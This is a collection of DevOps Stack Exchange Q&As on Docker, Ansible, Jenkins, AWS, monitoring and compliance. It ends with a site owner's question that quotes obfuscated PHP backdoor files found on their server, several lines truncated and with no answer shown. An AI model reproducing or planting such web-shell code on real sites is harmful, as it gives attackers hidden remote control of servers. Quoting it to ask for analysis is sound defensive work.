eg "artifact\_id": "us-west-1:ami-XXXXXXXX",

This can then be read and acted on by any tooling of your choice.

Source: https://www.packer.io/docs/post-processors/manifest.html

---
Tags: jenkins, packer
---


title: Ansible on Ubuntu Core

text:
# Question
Title: Ansible on Ubuntu Core
Ubuntu Core is a minimalistic operating system. It uses `snap` package manager instead of `apt`. Is it possible to manage a Ubuntu Core device with Ansible?

# Answer
If the OS has a python installation, you can use Ansible to manage it.. Note that you should check the individual module requirements (for example the snap module) since they may have dependencies which cannot be satisfied by your OS.

In general though the modules are written in python and as such a python runtime is needed.
> 1 votes

---
Tags: ansible
---


# Question
Title: How to list containers that are using redis/ubuntu image in Docker
I am trying to figure out the solution for the above question. I tried the commands `docker ps -a -f "label=redis"` and `docker ps -f "name=redis"`, but that didn't gave any output.

Any help?

# Answer
> 1 votes
I think you want the `ancestor` filter :

From the Docker Docs on `ps`:

> `ancestor` \- Filters containers which share a given image as an ancestor. Expressed as `image-name[:<tag>]`, `image id`, or `image@digest`

```
$docker run -d --rm redis
c4cf36467d63c66f7d3d8271dd0f8e51ede4a627048eb5e294a2445f5b0d30ef
$ docker ps -f "ancestor=redis"
CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS               NAMES
c4cf36467d63        redis               "docker-entrypoint.s…"   16 seconds ago      Up 15 seconds       6379/tcp            elated_yonath

```

---
Tags: docker
---


title: Restrict user logon in Jenkins

text:
# Question
Title: Restrict user logon in Jenkins
We have been using groovy script to read the build queue state:

```
def builder = new groovy.json.JsonBuilder()

builder {
  queueItems(Jenkins.instance.queue.items.collect { obj ->
      [
        id: obj.id,
        name: obj.task.name,
        isStuck: obj.stuck,
        isBlocked: obj.blocked,
        isDisabled: obj.task.disabled,
        inQueueSince: obj.inQueueSince,
        why: obj.why,
        causesDescription: obj.causesDescription,
        queueItemUrl: obj.url,
        taskUrl: obj.task.url
      ]
   })
}

println builder.toPrettyString()

```

Then we add Azure AD plugin. It requires an account with the `hudson.model.Hudson.Administer` permission to run a script.

We use a tech account, but the problem is that everyone can logon interactively using this login and became Jenkins admin.

Is it possible to have this account enabled, but restrict interactive logon to Jenkins?

# Answer
If you're running this code today via script console, you're probably running into a RejectedAccessException from the sandbox which is why you require admin access to run this coupled with and or needing administrator access to use the script console.

If you put this code into a shared library, the code becomes trusted, and you no longer require administrator access to run the code and you no longer need script console. You just need a job that can call the shared library, if needed you can restrict access to the folder or job.
> 1 votes

---
Tags: jenkins, security
---


# Question
Title: Which AMI was my EC2 instance created from?
Is there any way to tell which AMI my EC2 instance was created from?

# Answer
> Is there any way to tell which AMI my EC2 instance was created from?

## Short answer: yes.

## Longer answer: yes - how would you like to get it?

The AMI which the EC2 instance was launched with is part of the EC2 instance metadata

Every instance publishes its metadata, which you can retrieve via the HTTP interface:

```
curl http://<instance.ip.address>/latest/meta-data/ami-id

```

(lifted directly from the AWS docs)

Many people prefer the Python library for the AWS API (boto3). In this particular case you would need to use the `instance.image_id` method.
> 2 votes

---
Tags: amazon-web-services, amazon-ec2, amazon-ami
---


# Question
Title: Not possible to ping or reach a container under its local IP
I have setup a simple flask application in a docker container. My docker file is as follows:

```
FROM python
ADD . /app
WORKDIR /app
RUN pip install -r requirements.txt
CMD ["python", "myFlask.py"]

```

I start the container using

```
docker run -d myContainer

```

I retrieve the internal IP address by

```
docker exec -ti <containerID> cat /etc/hosts

```

and it's 172.17.0.2. When I try to ping this address or try to access the REST API using curl I cannot reach it. When I use port forwarding using `-p 5000:5000` as part of the run command I can reach the REST API under localhost:5000. I am working under OS X.

Why can't I reach the container under its local IP?

# Answer
> 0 votes
I think I found the answer here: https://docs.docker.com/docker-for-mac/networking/#known-limitations-use-cases-and-workarounds. It's not working under OS X: "Docker Desktop for Mac can’t route traffic to containers."

---
Tags: docker
---


title: What is alert fatigue?

text:
# Question
Title: What is alert fatigue?
Recently, we hear the term "alert fatigue" a lot. I have a few questions regarding this:

* where did this term come from?
* was it invented by a company like PagerDuty?
* what is alert fatigue actually?

# Answer
The term Alert Fatigue, also known as Alarm Fatigue has been around for decades. It affects many professions, including medical, technical, and construction industries. According to the `Alert Fatigue by Other Names` reference, the earliest literature on the topic came during the Israeli Arab conflict. The practice/understanding of the issue is ancient.

No, PagerDuty did not invent the term.

Alert Fatigue:

> occurs when one is exposed to a large number of frequent alarms (alerts) and consequently becomes desensitized to them.

Aesop's Fable about the boy who cried wolf is a classic example of Alert Fatigue. In Technology and Medical fields it occurs when alarms/alerts occur so frequently (with or without reason) that we become desensitized to them. The outcome of this desensitization:

> dramatically reduces our reaction to similar subsequent threats.

In other words we are become so used to the alert that we either ignore it or take our time to acknowledge it.

**References**

Alert fatigue by other names
Alarm\_fatigue
Cry Wolf - When Experience Becomes Fateful
> 9 votes

# Answer
I have spend years developing a variety of monitoring tools which employ a variety of approaches to track data points ranging from filtered logs, collecting system stats (i.e.: querying data from /proc or running a command and parsing output), and/or putting concise “tagging” code inside application workflow code to track overall performance. With all of these different approaches, the process of alerting when conditions are met hasn't changed all that much. From this experience, I have learned some key principles to avoid “alert fatigue” which can be described as simply getting so many alert messages by your pager, email, or mobile notifications that they decide can be ignored (either because they were told to or they took it upon themselves) resulting in your staff ignoring potentially important events, slowly insane, and/or secretly wishing for your early demise.

That said, these are few key principles in creating triggered alerts which I would say are relevant now as they were 20 years ago. Of course there are gobs of other principles to creating good monitoring and alerting so this is by no means a complete list.

* **All alerts should be “actionable”**. That is, if an alert notification is sent, it means something should be done by the recipient. Non-actionable alerts is the principle cause of “alert fatigue” because there is a precedent to ignore alerts which can result in situations like "I don't know what this means, so it must be junk". In contrast, to say an alert is "actionable" this means anything from validating something manually that for whatever reason may not be obvious to automate such as manually running a process so a subjective assessment can be made, or it could mean remediation steps like restarting something. Don’t page people in the middle of the night for specious reasons where it's unclear whether there is a potential problem or not. This may seem obvious, but it's common to create alerts that do with without realizing it, so one good practice is to make sure you receive any new alerts you create so that you have actual first-hand experience of what the support engineers receive so you can tune or adapt them as necessary, all they while communicating what you are doing so support engineers realize that you're "getting the kinks out" and don't immediately get in the mindset that this new alert is garbage. Once your experience indicates that after a time of tuning the alert conditions so that the notifications are commensurate to a condition that requires action, then communicate that it is "live" and should be treated as such. (Having a way to identify "alerts in development" is also helpful.) On the other hand, if you or your team has infrastructure that triggers alerts where you wind up telling support staff to “just ignore it” without fixing it in any way, you have a critical process problem. Ideally, this alert should be suspended until it is "fixed". In summary, “alert noise” creates the “boy who cried ‘wolf’ problem” and you eventually will have people ignoring things that will inevitably be the notice of actual site degradation and you will get burned. It's not if but when.
* **Notification “insistence" should be appropriate to the problem**. For example, when you have a production impacting event, day or night, appropriate people who can fix the problem should be paged where the expectation is that the alert gets acknowledged in a short time before automatically getting escalated, etc.... On the other hand, If the issue is something that can wait until the next business day such as a disk slowly filling up or a not production issue, send an email or message to a Slack channel to be addressed later, probably the next business day. Set up some system of priority that has a specific SLA.
* **Use monitoring dependencies whenever possible to avoid alert “storms**”. A proper monitoring toolset should allow you to set up a dependency relationships so that alerting is suppressed if an overarching issue would cause other monitoring failures which would depend on it. A simple example would be if a host is unreachable, send just a network unreachable alert. Don’t send alerts about disk, ports, etc... all of which require network connectivity to ever work and would just give you "unknown" results anyway. That just muddies the waters when you need clarity so you can quickly resolve problems by looking at your alert list for a couple seconds, not scrolling through pages of alerts.

Start with these three tenets first if “alert fatigue” is an increasing issue in your team. If after doing this and you get to a point where your alerts are meaningful and concise but are are overwhelming in sheer numbers, you probably need to focus on creating automated recovery as the next phase of your monitoring endeavors starting with incidents where the run-book is discrete. For example, if a web service is unresponsive because of an exception that it cannot recover on its own, instead of sending an alert, attempt a restart. Send the alert only if the restart doesn't resolve it and send a non-urgent message if it does which can be noted during the next business hours.
> 7 votes

---
Tags: monitoring
---


title: DevOps SOX Compliance

text:
# Question
Title: DevOps SOX Compliance
I'm coming from the dark side, compliance, and am looking to gain better knowledge on DevOps & how to implement SOX controls on these processes. I'm hoping to build a good knowledge base in order to be able to recommend controls that will provide good assurance to the auditors while minimizing the impact on the actual operations. Also, so that when I meet with our internal DevOps teams, I can speak knowledgably on this.

I've done some research through ISACA whitepapers and various other sources:

Do you have any other suggestions on resources for building control frameworks for DevOps workflows? Or just DevOps in general?

# Answer
> 3 votes
what you are looking for is compliance and security for containers. There are companies that can do this out the box for you, and even though I'm not advocating for either you can see what they offer and use that as a template.

https://www.twistlock.com/platform/container-compliance/ https://www.aquasec.com/use-cases/container-auditing-compliance/

As a HIPAA security officer and DevOps manager, I've been reviewing these processes. The way to think of DevOps in your sense is probably the automation and culture of ship fast, fail early and fail often. The goal is to not disrupt the pipeline from security and compliance. Technically this looks like adding automated compliance checks in the pipeline before, during and after go live. As automation gets built, you can replace the automation with a manual process'. You can check out subjects like DevSecOps which is the same concept of ensuring compliance and probably closer to what you'll need to do.

here's an AWS diagram that might help https://aws.amazon.com/blogs/devops/implementing-devsecops-using-aws-codepipeline/

# Answer
> 0 votes
This has been referenced before in the links that you posted, so I will just add some specifics. Compliance testing can be thought of as a kind of QA or integration test, just like the other tests that your application(s) may have. In order to make it useful, a compliance test should fail the build in some meaningful way and guide the both developers and those responsible for operating them applications (hopefully part of the same team) what guideline is being infringed upon and how to regain compliance.

This also means that the compliance team needs to be able to write tests which make assertions on the *deployed* state of the application, preferably *before* it is deployed. If compliance is done after the deployment, you face the need to roll back or apply hotfixes.

I have found that Chef Inspec is a good tool for this job. It allows the compliance team to write profiles right off of best-practice documents. It can be kept in an independent repository, to be picked off the shelf if need be and applied to arbitrary workloads, or included in the same repository as the application. The former scenario allows global compliance testing across the entire org's suite of applications, while the latter helps to foster better collaboration between the developers and the security teams. Of course there are several options in-between.

A good example of how to write a compliance profile is available from Chef's training site.

Who should write the profiles depends on several factors, including proficiency, role and of course operational responsibility for the application. I have found that it is best when the profiles are written by a second set of eyes than those who write the deployment code. This is in the interest of keeping the audit process independent and unbiased.

As to where the compliance tests should be inserted in the CI/CD pipeline, this is often a matter of discussion, and depends on your delivery and deployment model. Others have mentioned the benefits of shifting left and this makes sense too in the DevSecOps world.

The key however is to test *actual production states*. Often people would use the staging environment for this, which would be a good idea if it is as close as possible to the production environment. The reality however is that certain aspects of compliance affect certain aspects of the application or environment, so it often makes more sense to inject the compliance testing into the various stages of CI/CD deployment similar to Figure 3.1 of :

Different tools come into play in different stages, and as you move down the delivery pipeline, the compliance envelope becomes increasingly complex. After deployment, you also don't have absolute certainty that the state has not diverged from what is in the codebase (people could log in and do things). At some point you should need to assert overally compliance of the application, and have it inclued as part of your monitoring system.

Having a set of compliance profiles **executable as code** and **able to break the build** makes it a bit easier to implement continuous improvement, give immediate feebdack to developers and operators, thereby shipping quality code faster. It also allows you to give concrete information to the auditors when they come knocking.

# Answer
> -1 votes
Have your read NIST 800 190? This document was co written by John morello who is the chief technology officer for twistlock, the company which does container security.

This NIST document helped me in understanding various attacks and what you can do. This might help you.

---
Tags: jenkins, amazon-web-services
---


title: Container runtime Vs orchestrator

text:
# Question
Title: Container runtime Vs orchestrator
The terms container runtime and orchestrator always confuse me. Can someone please put these in simple terms?

Thanks

# Answer
A container runtime is the part of your container environment in charge of the creation and basic features of your containers. The obvious one is Docker, but you can also find Containerd, CRI-O and other as runtime for your containers.

An orchestrator, by contrast, will not exactly create your container (ie, an orchestrator is not the technology used to create them). An orchestrator will use your container runtime to manage them. In a way, it's a layer around your container runtime wich allow finer usages, such as scaling, multi host deployments, load balancing...

The most famous orchestrators would be Kurbenetes, Docker Swarm...

I hope this help! Have fun.
> 2 votes

---
Tags: docker, kubernetes, containers, orchestration
---


# Question
Title: How to get Memory Usage from Windows Server 2012 R2 in OpenStack
I have an *Rocky OpenStack cluster*, I want to monitor memory usage of instances.

monitoring of Linux instances is OK but Windows Server instances do not provide any data for memory usage.

I've searched a lot, I've installed *balloon* driver on windows instances but not worked for me. All components are updated to latest version.

So how can I get memory usage data from them?

# Answer
You must be Install the **Virtio Balloon** driver AND the **Balloon service** in the guest:

1-Open Device Manager and see if there is an unknown PCI device. If so, right click it and install the driver manually from D:\Balloon\2K16\amd64 (or 2k12, 2k8, etc)

2-Now copy the entire amd64 folder into C:\Program Files\ (NOT x86) and rename it "Balloon". So, now you have the amd64 folder from the disc copied as C:\Program Files\Balloon

3-Open an Administrative Command Prompt and cd to C:\Program Files\Balloon

4-Run this command:

```
BLNSVR.exe -i

```
> 1 votes

# Answer
In PowerShell

```
Get-WmiObject -Class win32_operatingsystem -Property TotalVisibleMemorySize,FreePhysicalMemory

```

Or

```
wmic os get freephysicalmemory

```

Or

```
systeminfo

```
> 2 votes

---
Tags: monitoring, openstack
---


# Question
Title: CICD using jenkins which is installed in other machine
Suppose I have two machine ( A & B ) and i have jenkins installed in machine A , can I deploy in machine B using Jenkins installed in machine A? I am using Jenkins Multibranch pipeline

# Answer
If your question is can Jenkins deploy to machine B then the answer is absolutely! Jenkins provides documentation on deployments here, and has an example of a multibranch pipeline deployment here.

If you want machine B to deploy to a different computer (e.g. machine C) then you can do this by configuring machine B to be an "agent", and following the deployment guides linked to above.
> 2 votes

---
Tags: jenkins, cicd
---


# Question
Title: How to automatically update Docker containers in development?
What is the best way to use Docker in development so that a container is automatically updated each time you make a change to the codebase?

# Answer
> 3 votes
An approach I use in both prod and dev is to run a webhook server ( this one is excellent https://github.com/adnanh/webhook ) which is subscribed to listen to the github.com `git push` events which are published by github

... then when someone does a push to github.com the webhook launches a rebuild script to issue `git pull` then recomple the code and issue `docker build xxx` and `docker push yyy` and `docker-compose -f my-file-docker-compose.yaml up` ... this all happens on auto pilot ... where I have a running webhook server on a vps box for a given git branch to rebuild its toy domain

this took time to craft however its a life saver

# Answer
> 1 votes
What kind of technology do you use? Are you speaking about local deployment, during development phase? If you have some kind of "ng serve" feature like in Angular you can probably use volumes (bind mounts, to be specific) to bind your code on your host to the code inside your container. Then, every time you do a modification on your code, it will be updated automatically.

# Answer
> 0 votes
For a local development using docker-compose it depends on the language you use to code. But almost all languages have some kind of watch mode to take care when the code changes and reload your service or application.

No matter what language you use for coding if you want to have an auto-refresh feature you need to use volumes on your docker-compose.yaml file to mount your local folder as a volume inside the container.

With that said one example of that would be using nodemon on a nodeJS project, but you have o take care not to use nodemon on production by using the `CMD` on the Dockerfile and docker-compose.yaml properly.

An example of Dockerfile:

```
FROM node:12

WORKDIR /app

RUN npm i -g nodemon

COPY . /app

CMD node app.js

```

And on the docker-compose.yaml:

```
version: 3
services:
  backend:
    build: .
    image: local-development
    volumes:
      - .:/app
      - /app/node_modules
    command: ['nodemon', 'app.js']

```

Look at the two volumes, the first one is for mounting your local directory on `/app`, but you need the second one to avoid mounting `/app/node_modules` because you can have problems with modules you have on local that are not the right architecture inside the container, for example, a MacOS compiled module inside a Linux container.

When you use the image on a production environment it will use `node app.js` as a command but on the `docker-compose.yaml` file is overridden by `nodemon app.js`.

---
Tags: docker, docker-compose, dockerfile
---


# Question
Title: Can a server used for GitLab runners be used as a deployment server?
I have a relatively simple understanding of GitLab CI:

* There is a GitLab server (server A)
* There is a separate server with GitLab runners (server B)
* And there is some other server - the 'prod' server (server C)

From prior experience, I understand that the GitLab runners would do the following:

* On a push to source control, GitLab (server A) would contact the GitLab runner (server B), and the runner would pull the source control and execute jobs as defined in `.gitlab.ci-yml`, which is included in the source control
* As defined by the `.yml` file, a Docker image would be added back to server A (to the GitLab Docker registry). Then the runner would login to server B, pull the docker image, and start it.

I am opting for a simpler automated deployment setup.. I want 2 servers:

* Server A (GitLab CE)
* Server B: Ubuntu 18 server that has a GitLab runner, AND that serves as a production server

Is this a good idea?

It seems like I can configure the runner to just run a `docker-compose up --rebuild` command, and that this would essentially work.

Is there any reason that I wouldn't want to do this?

# Answer
> 2 votes
GitLab and GitLab CI are not two servers: they are softwares installed on a server. Now, while both can be installed on the same server, they can be split for scaling reason.

Now your question: it all depends on what type of services your are running. Bear in mind that CI can take CPU/memory and disk bandwidth while running your CI (docker image build, composer, npm, Java, etc.). Doing so can slow down your production server. Another reason not to run `docker-compose` directly is to avoid downtime: what if there is a mistake during the build or the deployment? Your production will be down. You may want to look at blue/green deployment.

---
Tags: gitlab-ci-runner
---


# Question
Title: cannot import OpenCV in a Docker container in Raspberry Pi
I am trying to build a Docker container in Raspbian 10.

```
FROM python:3.5-buster
RUN apt-get update
RUN apt-get install apt-utils -y
RUN apt-get install python-opencv -y
RUN apt-get install python3-opencv -y
COPY a.py /
CMD ["python3", "a.py"]

```

`a.py` is simply `import cv2`

When I run the container, I got the following errors.

```
Traceback (most recent call last):
  File "a.py", line 1, in <module>
    import cv2
ImportError: No module named 'cv2'

```

# Answer
Seems to be just an issue with a Python package.

```
Traceback (most recent call last):
  File "a.py", line 1, in <module>
    import cv2
ImportError: No module named 'cv2'

```

Is a common Python error, basically it can't find the package cv2.

You could try and install OpenCV through pip instead of installing through apt get. Something could be up with dependancies that you may have missed.

```
RUN pip3 install opencv-python

```
> 1 votes

---
Tags: dockerfile
---


# Question
Title: How to probe all running aws ec2 instances and their sec groups, etc to generate templates?
Typically I spin up all aws ec2 instances together with all its accompanying security groups, volumes, etc ... by executing a series of aws cli commands.

However when I manually use the aws console in a browser to spin up instances, I am wondering if there is a tool I can run to exhaustively probe this set of running ec2 instances and output runable aws commands to recreate the currently running instances?

Does such a tool exist ?

I have never looked at Terraform, so I wonder if that has such a utility?

# Answer
Terraform would be the best resource to create these EC2 instances repeatedly.

I would highly recommend you to create a `variables.tf` or `terraform.tfvars` file template allowing you to create a new *instance* of these resources and store that file and the state file securely away for future management of the resources. A versioned S3 bucket would do quite well for this.

Please note that once you create your Terraform code you can instruct Terraform which state file(s) to work with, etc. Allowing you to *reuse* the same code over and over without duplication.
> 1 votes

---
Tags: amazon-web-services, amazon-ec2, terraform, aws-cli
---


# Question
Title: Is Hashicorp's Vault suitable for personal projects as well?
The Vault documentation indicates that there is a master key and that multiple keys are required to access the secrets, but does this mean that Vault is not suitable for personal projects if there is only one PC?

# Answer
> 5 votes
Vault will distribute multiple unseal keys but there's nothing to stop you from keeping all of the keys in one place for a personal project.

The one time I did it I set the keys to 3 and kept them in different physical locations along with online locations.

# Answer
> 1 votes
One thing you should know is, even though you can backup vault(consul, if you are using one as backend), you cannot restore to a new vault installation (if you loose the existing one). You can just restore to the original one.

---
Tags: hashicorp-vault
---


title: aws - Connect two private subnets?

text:
# Question
Title: aws - Connect two private subnets?
I'm testing some cloudformation infrastructure templates, and I noticed that most of the examples include routing tables to connect private subnets to public subnets, but my question then is:

if two private subnets exist in different AZs (and are attached to individual routing tables) and the resources within them may need to access a resource on the other subnet (for example a private service on the subnet 1 accessing a database on the subnet 2)

1. **Should I create a route to connect the two private subnets in each of their routing tables?**
2. **Would it be a better practice to attach both subnets to a single shared routing table (both CIDRs are contiguous)?**

# Answer
> 2 votes
Are they in the same VPC? If yes it should just work as the VPC CIDR route will take care of all the subnets intercommunication.

---
Tags: amazon-web-services, networking
---


# Question
Title: Ansible - when statement task always return false value
I've got 1 master node from which I would like to instal NewRelic agents remotely depedning on the OS I have on them. Some of them are Amazon 2 Amis and some Amazon 1 Ami. I put when statement in the Ansible Playbook's task in the following way:

```
- name: Enable repo for Amazon Linux 2/Red Hat 7v
  yum_repository:
    name: newrelic-infra
    description: NewRelic repo
    baseurl: https://download.newrelic.com/infrastructure_agent/linux/yum/el/7/$basearch
  when: (ansible_distribution == "Amazon" and ansible_distribution_version == "(Karoo)") or
        (ansible_distribution == "RedHat" and ansible_distribution_major_version == "7")

- name: Enable repo for Amazon Linux 1/Red Hat 6v
  yum_repository:
    name: newrelic-infra
    description: NewRelic repo
    baseurl: https://download.newrelic.com/infrastructure_agent/linux/yum/el/6/$basearch
  when: (ansible_distribution == "Amazon" and ansible_distribution_version == "2018.03") or
        (ansible_distribution == "RedHat" and ansible_distribution_major_version == "6")

```

I understand that when statement should check the if statement and proceed further. Nevertheless, whenever I run playbook I receive that if statement is false and it's skipping above tasks. What might be the root cause?

I've already checked on remote host ansible\_distribution and ansible\_distribution\_version if strings match. I suppose it must be some syntax problem as I'm new in ansible. Thanks in advance.

# Answer
> 0 votes
Your statements look ok. If I create a test case from the sparse info you provided and what I can observe when gathering facts from my own hosts, I can detect old/recent distributions correctly using your conditions. See my example below.

I suggest you double check the data gathered from your host to understand why it doesn't match. The easiest way for that: from the same host your use to launch your playbook, run

```
ansible -i path/to/your_inventory.ini your_target_group_name -m setup -a "filter=ansible_distribution*"

```

Here is the `test.yml` playbook I wrote to test your (known-so-far) values and your conditions

```
---
- name: Statements for checking old/recent distribs
  hosts: localhost
  gather_facts: false

  vars:
    os_list:
      - ansible_distribution: "Amazon"
        ansible_distribution_version: "(Karoo)"
        ansible_distribution_major_version: "(Karoo)"
      - ansible_distribution: "Amazon"
        ansible_distribution_version: "2018.03"
        ansible_distribution_major_version: "2018"
      - ansible_distribution: "RedHat"
        ansible_distribution_version: "6.x"
        ansible_distribution_major_version: "6"
      - ansible_distribution: "RedHat"
        ansible_distribution_version: "7.x"
        ansible_distribution_major_version: "7"

  tasks:

    - name: Check conditions for recent distribs
      debug:
        msg: "This is a recent distrib"
      loop: "{{ os_list }}"
      loop_control:
        label: "{{ item.ansible_distribution }}-{{ item.ansible_distribution_version }}"
      when: (
              item.ansible_distribution == "Amazon"
              and
              item.ansible_distribution_version == "(Karoo)"
            )
            or
            (
              item.ansible_distribution == "RedHat"
              and
              item.ansible_distribution_major_version == "7"
            )

    - name: Check conditions for old distribs
      debug:
        msg: "This is an old distrib"
      loop: "{{ os_list }}"
      loop_control:
        label: "{{ item.ansible_distribution }}-{{ item.ansible_distribution_version }}"
      when: (
              item.ansible_distribution == "Amazon"
              and
              item.ansible_distribution_version == "2018.03"
            )
            or
            (
              item.ansible_distribution == "RedHat"
              and
              item.ansible_distribution_major_version == "6"
            )

```

And the result

```
PLAY [Statements for checking old/recent distribs] ************************************************************************************************************************************************************************

TASK [Check conditions for recent distribs] *******************************************************************************************************************************************************************************
ok: [localhost] => (item=Amazon-(Karoo)) => {
    "msg": "This is a recent distrib"
}
skipping: [localhost] => (item=Amazon-2018.03)
skipping: [localhost] => (item=RedHat-6.x)
ok: [localhost] => (item=RedHat-7.x) => {
    "msg": "This is a recent distrib"
}

TASK [Check conditions for old distribs] **********************************************************************************************************************************************************************************
skipping: [localhost] => (item=Amazon-(Karoo))
ok: [localhost] => (item=Amazon-2018.03) => {
    "msg": "This is an old distrib"
}
ok: [localhost] => (item=RedHat-6.x) => {
    "msg": "This is an old distrib"
}
skipping: [localhost] => (item=RedHat-7.x)

PLAY RECAP ****************************************************************************************************************************************************************************************************************
localhost                  : ok=2    changed=0    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0

```

As you can see it does the job as expected. So either your data is not gathered correctly or your check the wrong values.

**Note**: When @Vladimir Botka asks for an MCVE in the comments, this is a typical example.

---
Tags: ansible
---


title: Utilizing telnet with Ansible

text:
# Question
Title: Utilizing telnet with Ansible
Was wondering how to best utilize telnet, rather than SSH, with ansible. We are using a Lantronix term server, and must telnet into individual ports.

More specifically, would it be best to use a specific telnet module? If so, which is most intuitive. Alternatively, is it more efficient to simply modify connection type within the hosts file / YAML playbook?

# Answer
> 6 votes
As documented here, ansible does not support telnet as connection plugin. This means you cannot use ansible to connect to a remote machine via telnet and execute any of the ansible modules.

However, you can use `connection: local` for local connection(run ansible against the machine that is running it) and send `telnet` commands from the machine where ansible runs.

Example playbook will look something like that:

```
---
- hosts: localhost
  connection: local
  gather_facts: false

  tasks:
    - name: my first telnet task
      telnet:
        username: user
        password: pass
        command:
          - my command

```

# Answer
> 2 votes
Ansible provides a module for telnet provisioning. See:

https://docs.ansible.com/ansible/latest/modules/telnet\_module.html

---
Tags: ansible
---


# Question
Title: Gitlab CI\CD Error: Failed to create container volume for /builds/root Unable to load image
I've installed the Gitlab local server and also install the Gitlab-runner and everything needs to use the CI/CD tools. After that When I run the CI/CD tools to build and deploy the project, it makes build failed.

Error detail:

```
Using Docker executor with image alpine:latest ...

ERROR: Failed to
create container volume for /builds/root Unable to load image:
gitlab-runner-prebuilt: "open
/var/lib/gitlab-runner/gitlab-runner-prebuilt.tar.xz: no such file or
directory"

ERROR: Preparation failed: Unable to load image:
gitlab-runner-prebuilt: "open
/var/lib/gitlab-runner/gitlab-runner-prebuilt.tar.xz: no such file or
directory"

```

**What is the problem and how can I resolve it?**

# Answer
> 1 votes
Do you have a volume mounted with gitlab-runner-prebuilt.tar.xz? Your error log makes it seem like it can't find the file when it executes.

---
Tags: docker, gitlab, continuous-deployment, gitlab-ci-runner
---


# Question
Title: Hacking attempts to our server - what does this code do?
Every so often I go back and check our server and find random files uploaded to the domain root directory. They are seemingly cryptic and have names like

```
css2.php              db_model.php          .htaccess             menu57.php            rss_feeder.class.php  stats21.php           title.php

```

This is the contents of one of them (db\_model.php) but they all look similar.

```
<?php

$alphabet = ".hyib/;dq4ux9*zjmclp3_r80)t(vakng1s2foe75w6";
$string = "Z2xvYmFsICRhdXRoX3Bhc3MsJGNvbG9yLCRkZWZhdWx0X2FjdGlvbiwkZGVmYXVsdF91c2VfYWpheCwkZGVmYXVsdF9jaGFyc2V0LCRzb3J0Ow0KZ2xvYmFsICRjd2QsJG9zLCRzYWZlX21vZGUsICRpbjsNCg0KJGF1dGhfcGFzcyA9ICdmMzI0MmRjYzU5$
$array_name = "";
$ar = array(4,29,34,38,42,9,21,7,38,17,37,7,38);
foreach($ar as $t){
   $array_name .= $alphabet[$t];
}
$a = strrev("noi"."tcnuf"."_eta"."erc");
$f = $a("", $array_name($string));
$f();

```

From another file, title.php:

```
<?php ${"\x47\x4c\x4fB\x41\x4c\x53"}['ae767'] = "\x3e\x44\x36\x6d\xd\x73\x34\x49\x7b\x4c\x7a\x52\x5a\x5d\x2a\x74\x3f\x72\x6c\x50\x4f\x5e\x6f\x6a\x65\x68\x4a\x37\x3d\x48\x23\x9\x69\x4b\x55\x61\x42\x7d\x32$
$GLOBALS[$GLOBALS['ae767'][56].$GLOBALS['ae767'][92].$GLOBALS['ae767'][2].$GLOBALS['ae767'][75]] = $GLOBALS['ae767'][91].$GLOBALS['ae767'][25].$GLOBALS['ae767'][17];
$GLOBALS[$GLOBALS['ae767'][5].$GLOBALS['ae767'][56].$GLOBALS['ae767'][56].$GLOBALS['ae767'][38].$GLOBALS['ae767'][82].$GLOBALS['ae767'][42].$GLOBALS['ae767'][24]] = $GLOBALS['ae767'][22].$GLOBALS['ae767'$
$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][82].$GLOBALS['ae767'][92].$GLOBALS['ae767'][42]] = $GLOBALS['ae767'][5].$GLOBALS['ae767'][15].$GLOBALS['ae767'][17].$GLOBALS['ae767'][18].$GLOBALS['ae767'$
$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][43].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][92].$GLOBALS['ae767'][43].$GLOBALS['ae767'][83]] = $GLOBALS['ae767'$
$GLOBALS[$GLOBALS['ae767'][49].$GLOBALS['ae767'][27].$GLOBALS['ae767'][2].$GLOBALS['ae767'][75].$GLOBALS['ae767'][42].$GLOBALS['ae767'][27].$GLOBALS['ae767'][35].$GLOBALS['ae767'][75]] = $GLOBALS['ae767'$
$GLOBALS[$GLOBALS['ae767'][5].$GLOBALS['ae767'][92].$GLOBALS['ae767'][42].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27].$GLOBALS['ae767'][6].$GLOBALS['ae767'][82]] = $GLOBALS['ae767'][58].$GLOBALS['ae767']$
$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][2].$GLOBALS['ae767'][82]] = $GLOBALS['ae767'][62].$GLOBALS['ae767'][41].$GLOBALS['ae767'][5].$GLOBALS['ae767'][24].$GLOBALS['ae767']$
$GLOBALS[$GLOBALS['ae767'][49].$GLOBALS['ae767'][6].$GLOBALS['ae767'][92].$GLOBALS['ae767'][92].$GLOBALS['ae767'][82].$GLOBALS['ae767'][82].$GLOBALS['ae767'][2].$GLOBALS['ae767'][56]] = $GLOBALS['ae767']$
$GLOBALS[$GLOBALS['ae767'][81].$GLOBALS['ae767'][27].$GLOBALS['ae767'][56].$GLOBALS['ae767'][2].$GLOBALS['ae767'][6].$GLOBALS['ae767'][2]] = $GLOBALS['ae767'][5].$GLOBALS['ae767'][24].$GLOBALS['ae767'][1$
$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][91].$GLOBALS['ae767'][91].$GLOBALS['ae767'][66].$GLOBALS['ae767'][56].$GLOBALS['ae767'][35].$GLOBALS['ae767'][92].$GLOBALS['ae767'][83]] = $GLOBALS['ae767$
$GLOBALS[$GLOBALS['ae767'][24].$GLOBALS['ae767'][82].$GLOBALS['ae767'][92].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27]] = $GLOBALS['ae767'][10].$GLOBALS['ae767'$
$GLOBALS[$GLOBALS['ae767'][48].$GLOBALS['ae767'][42].$GLOBALS['ae767'][42].$GLOBALS['ae767'][27].$GLOBALS['ae767'][66]] = $_POST;
$GLOBALS[$GLOBALS['ae767'][18].$GLOBALS['ae767'][82].$GLOBALS['ae767'][71].$GLOBALS['ae767'][43].$GLOBALS['ae767'][27].$GLOBALS['ae767'][82].$GLOBALS['ae767'][91]] = $_COOKIE;
@$GLOBALS[$GLOBALS['ae767'][41].$GLOBALS['ae767'][66].$GLOBALS['ae767'][43].$GLOBALS['ae767'][71].$GLOBALS['ae767'][2].$GLOBALS['ae767'][92].$GLOBALS['ae767'][43].$GLOBALS['ae767'][83]]($GLOBALS['ae767']$
